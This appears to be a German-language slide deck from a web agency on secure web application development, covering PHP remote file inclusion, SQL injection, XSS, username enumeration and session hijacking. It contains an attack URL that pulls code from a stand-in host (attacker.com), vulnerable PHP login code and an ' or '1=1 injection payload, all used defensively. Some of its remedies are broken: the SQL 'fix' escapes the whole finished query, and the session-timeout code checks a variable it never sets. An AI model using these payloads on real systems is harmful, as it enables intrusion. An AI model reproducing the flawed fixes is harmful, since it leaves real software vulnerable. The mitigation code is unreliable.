1. it- und medienlösungen - individuell wie sie.
Webapplikationen
sicher konzipieren und
programmieren
2. it- und medienlösungen - individuell wie sie.
IT-Sicherheit ist ein stetiger Prozess
Verhinderung Überwachung Reaktion
3. it- und medienlösungen - individuell wie sie.
Verhinderung
Maßnahmen die versuchen, einen Angriff effektiv im
Voraus zu verhindern.
■ Firewalls
■ Access Controll Lists
■ Rechtemanagement
4. it- und medienlösungen - individuell wie sie.
Überwachung
Maßnahmen die einen Angriff im System erkennen
sollen.
■ Intrusion Detection Systeme
■ Netzwerksicherheit Monitore
■ Traffic Anomalien
5. it- und medienlösungen - individuell wie sie.
Reaktion
Maßnahmen bei einem Angriff.
■ Server offline nehmen
■ Backup ziehen
■ Schwachstellen analysieren
6. it- und medienlösungen - individuell wie sie.
Wie geht ein Hacker vor?
Vergleichbar mit einem Einsatz im Krieg
■ Ziel auskundschaften
■ Schwachstellen ausfindig machen
■ Schwachstellen ausnutzen
■ Position sichern
7. it- und medienlösungen - individuell wie sie.
Wie geht ein Hacker vor?
Im Detail bedeutet dies:
■ Öffentlich zugängliche Logins und Formulare finden
■ Prüfen, ob gefundene Angriffspunkte angreifbar sind
■ Schwachstellen ausnutzen
■ Weitere Zugänge öffnen
8. it- und medienlösungen - individuell wie sie.
Grundlagen Web Applikationen
GET http://..../index.html HTML
PowerBook G4
9. it- und medienlösungen - individuell wie sie.
Grundlagen Web Applikationen
SQL
PHP, Ruby, ...
PowerBook G4
10. it- und medienlösungen - individuell wie sie.
Ziele eines Hackers
■ Webseite manipulieren
■ Datenbank manipulieren
■ Server für seine Zwecke nutzen
■ Informationen ausspionieren
11. it- und medienlösungen - individuell wie sie.
Wege eines Hackers
Sicherheitslücken in
■ Serversoftware (Betriebssystem)
■ Application Server (Apache, PHP, mySQL)
■ eigentlichem Skript / Programm
12. it- und medienlösungen - individuell wie sie.
Wege eines Hackers
Sicherheitslücken in
■ Serversoftware (Betriebssystem)
■ Application Server (Apache, PHP, mySQL)
■ eigentlichem Skript / Programm
13. it- und medienlösungen - individuell wie sie.
Remote code execution
■ PHP-Einstellungen:
■ register_globals
■ allow_url_fopen
■ safe_mode
14. it- und medienlösungen - individuell wie sie.
Remote code execution
Folgender Angriff soll verhindert werden:
http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt
==> require ($page);
15. it- und medienlösungen - individuell wie sie.
Remote code execution
Deaktivieren von register_globals
http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt
==> require ($GET[`page`]);
16. it- und medienlösungen - individuell wie sie.
Remote code execution
Deaktivieren von allow_url_fopen
GELÖST!
Kein include/require von einer fremden URL mehr
möglich.
17. it- und medienlösungen - individuell wie sie.
SQL Injection
admin
<?php
$query = “SELECT * FROM users WHERE username = ‘{$_POST[‘username‘]}‘“;
$result = mysql_query($query);
?>
18. it- und medienlösungen - individuell wie sie.
SQL Injection
‘ or ‘1=1
<?php
$query = “SELECT * FROM users WHERE username = ‘‘ or ‘1=1‘“;
$result = mysql_query($query);
?>
19. it- und medienlösungen - individuell wie sie.
SQL Injection
‘ or ‘1=1
<?php
$query = “SELECT * FROM users WHERE username = ‘‘ or ‘1=1‘“;
$result = mysql_query(mysql_real_escape_string($query));
?>
20. it- und medienlösungen - individuell wie sie.
SQL Injection
Die TYPO3 - API macht das von selbst!
Deshalb: API-Funktionen verwenden und
Datenbankzugriffe nicht selbst schreiben.
Testen mit: SQL Inject Me (Firefox Extension)
21. it- und medienlösungen - individuell wie sie.
Cross Site Scripting
Gleicher Ansatz wie bei SQL Injection, nur dass
bösartiger JavaScript Code ausgeführt wird.
Ziel: Stehlen von Sessions und/oder Cookies
22. it- und medienlösungen - individuell wie sie.
Username enumeration
Erraten von Benutzername / Passwort Kombinationen
Der angegebene Login existiert nicht.
Die angegebene Kombination aus Benutzername und
Passwort ist falsch.
23. it- und medienlösungen - individuell wie sie.
Session highjacking
Übernahme einer fremden Session.
Geht man weiter: Erlangen von zusätzlichen Rechten
24. it- und medienlösungen - individuell wie sie.
Session highjacking
Was ist in einem Cookie gespeichert?
Ausschließlich eine Session ID
Alles andere wird serverseitig gelöst.
25. it- und medienlösungen - individuell wie sie.
Session highjacking
session_start();
// set timeout period in seconds
$inactive = 600;
// check to see if $_SESSION['timeout'] is set
if(isset($_SESSION['timeout']) ) {
$session_life = time() - $_SESSION['start'];
if($session_life > $inactive)
{ session_destroy(); header("Location: logoutpage.php"); }
}
$_SESSION['start'] = time();